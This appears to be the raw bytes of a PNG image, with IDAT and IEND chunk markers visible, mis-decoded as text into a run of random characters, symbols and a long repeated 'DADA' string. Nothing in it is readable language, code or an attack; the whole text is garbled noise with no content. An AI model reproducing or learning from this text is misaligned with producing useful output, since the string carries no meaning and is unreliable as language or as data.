b IDATxytVսϓ22 A@IR :hCiZ[v*E:WũZA ^dQeQ @ !jZ'>gsV仿$|?g)&x-EIENT ;@xT.i%-X}SvS5.r/UHz^_$-W"w)Ɗ/@Z &IoX P$K}JzX:;` &, ŋui,e6mX ԵrKb1ԗ)DADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADA݀!I*]R;I2$eZ#ORZSrr6mteffu*((Pu'v{DIߔ4^pIm'77WEEE;vƎ4-$]'RI{\I&G :IHJ DWBB=\WR޽m o$K(V9ABB.}jѢv`^?IOȅ} ڶmG}T#FJ`56$-ھ}FI&v;0(h;Б38CӧOWf!;A i:F_m9s&|q%=#wZprrrla A &P\\СC[A#! {olF} `E2}MK/vV)i{4BffV\|ۭX`b@kɶ@%i$K z5zhmX[IXZ` 'b%$r5M4º/l ԃߖxhʔ)[@=} K6IM}^5k㏷݆z ΗÿO:gdGBmyT/@+Vɶ纽z񕏵l.y޴it뭷zV0[Y^>Wsqs}\/@$(T7f.InݺiR$푔n.~?H))\ZRW'Mo~v Ov6oԃxz! S,&xm/yɞԟ?'uaSѽb,8GלKboi&3t7Y,)JJ c[nzӳdE&KsZLӄ I?@&%ӟ۶mSMMњ0iؐSZ,|J+N ~,0A0!5%Q-YQQa3}$_vVrf9f?S8`zDADADADADADADADADAdqP,تmMmg1V?rSI꒟]u|l RCyEf٢9 jURbztѰ!m5~tGj2DhG*{H9)꒟ר3:(+3\?/;TUݭʴ~S6lڧUJ*i$d(#=Yݺd{,p|3B))q:vN0Y.jkק6;SɶVzHJJЀ-utѹսk>QUU\޲~]fFnK?&ߡ5b=z9)^|u_k-[y%ZNU6 7Mi:]ۦtk[n X(e6Bb."8cۭ|~teuuw|ήI-5"~Uk;ZicEmN/:]M> cQ^uiƞ??Ңpc#TUU3UakNwA`:Y_V-8.KKfRitv޲* 9S6ֿj,ՃNOMߤ]z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